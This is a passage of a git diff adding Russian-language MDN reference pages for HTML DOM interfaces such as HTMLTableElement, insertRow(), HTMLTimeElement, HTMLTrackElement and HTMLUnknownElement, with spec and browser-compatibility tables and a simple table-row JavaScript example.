+    The <code>headers</code> property is now read-only and contains a {{domxref("DOMSettableTokenList")}} rather than a mere {{domxref("DOMString")}}.<br>
+    The <code>colspan</code> and <code>rowspan</code> properties are now <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>cellIndex</code> property is now read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML elements implementing this interface: {{HTMLElement("th")}} and {{HTMLElement("td")}} by inheritance via {{domxref("HTMLTableHeaderCellElement")}} and {{domxref("HTMLTableDataCellElement")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..31bfff1ca8
--- /dev/null
+++ b/files/ru/web/api/htmltableelement/index.html
@@ -0,0 +1,200 @@
+---
+title: HTMLTableElement
+slug: Web/API/HTMLTableElement
+tags:
+  - API
+  - HTML DOM
+  - Reference
+  - Référence(2)
+  - Интерфейсы
+translation_of: Web/API/HTMLTableElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Объекты <code>table</code> описывают интерфейс <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425">HTMLTableElement</a></code>, который содержит дополнительные свойства и методы (по сравнению с обычным объектным интерфейсом <a href="/ru/docs/DOM/element"><code>element</code></a> которые также доступны вследствии наследования) для управления внешним видом таблиц HTML.</p>
+
+<h2 id=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0" name=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.caption">table.caption</a></dt>
+ <dd><strong>caption</strong> возвращает заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tHead">table.tHead</a></dt>
+ <dd><strong>tHead</strong> возвращает header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd><strong>tFoot</strong> возвращает footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.rows">table.rows</a></dt>
+ <dd><strong>rows</strong> возвращает строки таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd><strong>tBodies</strong> возвращает тела таблицы.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.align">table.align</a></dt>
+ <dd><strong>align</strong> возвращает/устанавливает выравнивание таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.bgColor">table.bgColor</a></dt>
+ <dd><strong>bgColor</strong> возвращает/устанавливает цвет фона таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.border">table.border</a></dt>
+ <dd><strong>border</strong> возвращает/устанавливает рамку таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd><strong>cellPadding</strong> возвращает/устанавливает cellpadding.</dd>
+ <dt><a href="/ru/docs/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd><strong>cellSpacing</strong> возвращает/устанавливает cellspacing.</dd>
+ <dt><a href="/ru/docs/DOM/table.frame">table.frame</a></dt>
+ <dd><strong>frame</strong> определяет, какие стороны таблицы имеют рамку.</dd>
+ <dt><a href="/ru/docs/DOM/table.rules">table.rules</a></dt>
+ <dd><strong>rules</strong> определяет, какие внутренние рамки являются видимыми.</dd>
+ <dt><a href="/ru/docs/DOM/table.summary">table.summary</a></dt>
+ <dd><strong>summary</strong> возвращает/устанавливает описание таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.width">table.width</a></dt>
+ <dd><strong>width</strong> возвращает/устанавливает ширину таблицы.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от своего родителя, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd><strong>createTHead</strong> создает header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd><strong>deleteTHead</strong> удаляет header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd><strong>createTFoot</strong> создает footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd><strong>deleteTFoot</strong> удаляет footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd><strong>createCaption</strong> создает заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd><strong>deleteCaption</strong> удаляет заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd><strong>insertRow</strong> вставляет строку.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd><strong>deleteRow</strong> удаляет строку.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tabular-data.html#the-table-element", "HTMLTableElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Добавляет свойство <code>sortable</code> и метод <code>stopSorting()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#the-table-element", "HTMLTableElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавляет метод <code>createTBody()</code>.<br>
+    Obsoleted xaz</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-64060425', 'HTMLTableElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Defined when <code>caption</code>, <code>tHead</code>, <code>tFoot</code>, <code>insertRow()</code>, and <code>deleteRow()</code> raise exceptions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-64060425', 'HTMLTableElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sortable</code> property and <code>stopSorting()</code> method {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createTBody()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sortable</code> property and <code>stopSorting()</code> method {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createTBody()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий данный интерфейс: {{HTMLElement("table")}}.</li>
+</ul>
+
+<p><span id="cke_bm_222C" style="display: none;"> </span></p>
diff --git a/files/ru/web/api/htmltableelement/insertrow/index.html b/files/ru/web/api/htmltableelement/insertrow/index.html
new file mode 100644
index 0000000000..ea8d0f16aa
--- /dev/null
+++ b/files/ru/web/api/htmltableelement/insertrow/index.html
@@ -0,0 +1,154 @@
+---
+title: HTMLTableElement.insertRow()
+slug: Web/API/HTMLTableElement/insertRow
+tags:
+  - API
+  - HTML DOM
+  - HTMLTableElement
+  - Method
+  - Reference
+translation_of: Web/API/HTMLTableElement/insertRow
+---
+<div>
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>HTMLTableElement.insertRow()</code></strong><code>добавляет новую строку в таблицу и возвращает на неё ссылку.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>row</em> = <em>HTMLTableElement</em>.insertRow(<em>optional index = -1</em>);</pre>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/HTMLTableElement"><code>HTMLTableElement</code></a> — ссылка на <em>HTML table</em> элемент.</li>
+ <li><code>index</code> — индекс новой строки</li>
+ <li><code>row</code> присваивается ссылка на новую строку. Ссылка на <a href="/en-US/docs/Web/API/HTMLTableRowElement">HTMLTableRowElement</a>.<br>
+  Если значение <code>index</code> равно -1 или количеству строк, то строка добавляется как последняя. Если значение <code>index</code> превышает количество строк, <em>выбрасывается</em> исключение IndexSizeError. Если аргумент index пропущен, он равен значению по умолчанию — -1.</li>
+ <li>Если таблица содержит несколько элементов <code>tbody</code>, то, по умолчанию, новая строка будет добавлена в последний элемент <code>tbody</code>. Добавить строку в определённый элемент <code>tbody</code>:<br>
+  <code>var <em>specific_tbody</em>=document.getElementById(<em>tbody_id</em>);<br>
+  var <em>row</em>=specific_tbody.insertRow(<em>index</em>)</code></li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;table id="TableA"&gt;
+&lt;tr&gt;
+&lt;td&gt;Old top row&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;script type="text/javascript"&gt;
+
+function addRow(tableID) {
+  // Get a reference to the table
+  var tableRef = document.getElementById(tableID);
+
+  // Insert a row in the table at row index 0
+  var newRow = tableRef.insertRow(0);
+
+  // Insert a cell in the row at index 0
+  var newCell = newRow.insertCell(0);
+
+  // Append a text node to the cell
+  var newText = document.createTextNode('New top row');
+  newCell.appendChild(newText);
+}
+
+// Call addRow() with the ID of a table
+addRow('TableA');
+
+&lt;/script&gt;</pre>
+
+<p>Чтобы быть валидным HTML документом, элемент TR должен содержать хотя бы один TD элемент.</p>
+
+<p>Обратите внимание, что <code>insertRow</code> добавляет строку непосредственно в таблицу и возвращает ссылку на эту строку. Строку не нужно добавлять отдельно, как в случае с методом<code><a href="/en-US/docs/DOM/document.createElement">document.createElement()</a>,</code> для создания нового TR элемента.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификации</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Specifies in more detail where the row is inserted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3<sup>[1]</sup></td>
+   <td>5.5</td>
+   <td>10</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Начиная с Gecko 20.0 {{geckoRelease("20.0")}} аргумент index опционален и значением по умолчанию является -1 согласно спецификации HTML.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("HTMLTableRowElement.insertCell()")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmltimeelement/index.html b/files/ru/web/api/htmltimeelement/index.html
new file mode 100644
index 0000000000..747b45af01
--- /dev/null
+++ b/files/ru/web/api/htmltimeelement/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLTimeElement
+slug: Web/API/HTMLTimeElement
+translation_of: Web/API/HTMLTimeElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTimeElement</code></strong> даёт специальные свойства (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) для управления {{HTMLElement("time")}} элементами.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTimeElement.dateTime")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отражает {{ htmlattrxref("datetime", "time") }} HTML атрибут, содержащий понятный для машин формат даты и времени.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет определённого метода; наследует его у родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmltimeelement", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Нет отличий от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLTimeElement")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент, реализующий данный интерфейс: {{HTMLElement("time")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmltrackelement/index.html b/files/ru/web/api/htmltrackelement/index.html
new file mode 100644
index 0000000000..b3ee982144
--- /dev/null
+++ b/files/ru/web/api/htmltrackelement/index.html
@@ -0,0 +1,181 @@
+---
+title: HTMLTrackElement
+slug: Web/API/HTMLTrackElement
+translation_of: Web/API/HTMLTrackElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTrackElement</code></strong></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTrackElement.kind")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("kind", "track")}}. Показывает, как будет использоваться текстовый трек. Возможные значения: <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code>, <code>metadata</code> (субтитры, подписи, описания, главы или метаданные).</dd>
+ <dt>{{domxref("HTMLTrackElement.src")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("src", "track")}}. Указывает адрес файла текстового трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.srclang")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("srclang", "track")}}. Указывает язык текстового трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.label")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}} , так как отображает значение HTML-атрибута {{htmlattrxref("label", "track")}}. Определяет видимый пользователю заголовок трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.default")}}</dt>
+ <dd>Тип данных {{domxref("Boolean")}}, отображает значение HTML-атрибута {{htmlattrxref("default", "track")}}.  Указывает, что это текстовый трек по умолчанию, если пользовательские настройки не определят другой трек, как более уместный.</dd>
+ <dt>{{domxref("HTMLTrackElement.readyState")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает значение типа <code>unsigned short</code>, которое показывает доступность трека для чтения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Значение</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>NONE</code></td>
+    <td>0</td>
+    <td>Показывает, что метки текстового трека не получены.</td>
+   </tr>
+   <tr>
+    <td><code>LOADING</code></td>
+    <td>1</td>
+    <td>Показывает, что текстовый трек загружается, и пока не было обнаружено фатальных ошибок. Дополнительные метки могут быть добавлены в трек парсером.</td>
+   </tr>
+   <tr>
+    <td><code>LOADED</code></td>
+    <td>2</td>
+    <td>Указывает, что текстовая дорожка загружена без фатальных ошибок.</td>
+   </tr>
+   <tr>
+    <td><code>ERROR</code></td>
+    <td>3</td>
+    <td>Указывает, что текстовый трек был получен, но когда пользовательский агент попытался его использовать, произошла какая-то ошибка. Некоторые или все метки, вероятно, отсутствуют и не будут получены.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("HTMLTrackElement.track")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает {{Domxref("TextTrack")}} is the track element's text track data.</dd>
+</dl>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>track</code> {{ReadOnlyInline}}</td>
+   <td>{{Domxref("TextTrack")}}</td>
+   <td>The track element's text track data.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы из родительского элемента, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-track-element", "HTMLTrackElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-track-element", "HTMLTrackElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute settable</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("50")}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("24")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute settable</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("50")}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>HTMLTrackElement</code> interface was added in Firefox 24, but was disabled by default behind the preference {{pref("media.webvtt.enabled")}}. The interface is enabled by default (along with all other WebVTT features) in <a href="/en-US/docs/Mozilla/Firefox/Releases/31">Firefox 31</a>.</p>
+
+<p>[2] Until Firefox 50, the <code>src</code> attribute is settable, but the change does not get handled properly. Starting in Firefox 50, existing track data is properly disposed of, new track data is loaded and put into effect, and so forth.</p>
+
+<p>[3] Prior to Firefox 50, text tracks would only load if the {{HTMLElement("track")}} is in a document. Starting in Firefox 50, this incorrect requirement is lifted.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("track") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlunknownelement/index.html b/files/ru/web/api/htmlunknownelement/index.html
new file mode 100644
index 0000000000..449017b6f7
--- /dev/null
+++ b/files/ru/web/api/htmlunknownelement/index.html
@@ -0,0 +1,96 @@
+---
+title: HTMLUnknownElement
+slug: Web/API/HTMLUnknownElement
+translation_of: Web/API/HTMLUnknownElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLUnknownElement</code></strong> предоставляет недопустимый HTML элемент и происходит от интерфейса {{domxref("HTMLElement")}}, но без каких либо дополнительных свойств и методов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Нет специфичных свойств; наследует свойства от его родителя {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы от его потомка, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
